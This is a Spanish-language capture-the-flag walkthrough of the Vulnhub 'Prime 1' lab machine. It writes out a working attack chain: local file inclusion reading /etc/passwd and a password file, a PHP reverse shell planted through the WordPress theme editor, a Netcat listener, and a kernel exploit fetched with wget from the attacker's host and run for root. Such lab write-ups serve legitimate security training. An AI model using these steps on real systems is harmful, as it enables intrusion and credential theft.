[Descargar máquina]:
Vulnhub: https://www.vulnhub.com/entry/prime-1,358/
Esta máquina está diseñada para aquellos que intentan prepararse para el examen OSCP.
- Paso 1: Identificar la IP de la máquina host con NetDiscover.
netdiscover -i eth0
IP host: 192.168.25.133
- Paso 2: Escanear todos los puertos que estén abiertos con Nmap.
nmap -p- --open -sC -n -Pn -vvv 192.168.25.133
Puertos abiertos: [22,80]
- Paso 3: Escaneo agresivo para detectar servicios corriendo.
nmap -A 192.168.25.133
Servidor corriendo: HTTP Apache
- Paso 4: Recorrido de ruta: enumerar archivos .txt con Dirb.
URL: http://192.168.25.133
dirb http://192.168.25.133 -X .txt
Archivo secreto: http://192.168.25.133/secret.txt
Probar los comandos Fuzzing que proporciona el repositorio de Github, el objetivo es encontrar un parámetro para navegar dentro de él.
Comando fuzzy: file
Unir la URL: http://192.168.25.133/index.php?file=
Archivo proporcionado: location.txt
URL completa: http://192.168.25.133/index.php?file=location.txt
El archivo location.txt
da una pista para usar secrettire360
como parámetro en otra página php aprovechando la vulnerabilidad de inclusión de archivos locales (LFI).
Localizar archivos .php
con Dirb:
dirb http://192.168.25.133 -X .php
Pista: secrettire360
URL completa: http://192.168.25.133/image.php?secrettier360
dirb http://192.168.25.133 -X .php `http://192.168.25.133/image.php?secrettier360` /usr/share/dirb/wordlists/extensions_common.txt
URL completa: http://192.168.25.133/image.php?secrettier360=/etc/passwd
El usuario Saket
menciona que dentro de su directorio /home/saket/
se encuentra el archivo password.txt
.
URL completa: http://192.168.25.133/image.php?secrettier360=/home/saket/password.txt
Credenciales WordPress
Usuario: victor
Contraseña: follow_the_ippsec
URL login: http://192.168.25.133/wordpress/wp-login.php
- Paso 5: Escribir código malicioso PHP.
Apariencia > Editor de temas > secret.php
Ruta del código PHP del reverse shell:
cat /usr/share/webshells/php/php-reverse-shell.php
Cambiar la línea $ip
por la IP local de su máquina, el puerto lo establecen a 4444
. Guardar cambios 'Update Files'.
- Paso 6: Obtener una reverse shell con Netcat.
nc -lvp 4444
Recargar URL: http://192.168.25.133/wordpress/wp-content/themes/twentynineteen/secret.php
Extraer información de los ficheros user.txt
y password.txt
dentro del directorio /home/saket
:
cd home && cd saket && ls
cat user.txt && cat password.txt
- Paso 7: Escalar privilegios: buscar exploit.
Versión del kernel: 4.10.0-28-generic
Repositorio del código: /~https://github.com/kkamagui/linux-kernel-exploits/blob/master/kernel-4.10.0-28-generic/CVE-2017-16995/CVE-2017-16995.c
Copiar el código y guardarlo con la extensión kernel.c
.
Abrir un servidor local en el puerto 80 con Python3:
python3 -m http.server 80
Descargar el exploit en la ruta /tmp
desde la sesión obtenida (reverse shell); compilar y dar permisos de escritrura, lectura y ejecucción:
cd /tmp
wget http://192.168.1.9/kernel.c
gcc kernel.c -o kernel
chmod 777 kernel
Por último, explotar el kernel ./kernel
y capturar la key (flag) del fichero root.txt
dentro del directorio /root
:
./kernel
cd /root
cat root.txt
FLAG: b2b17036da1de94cfb024540a8e7075a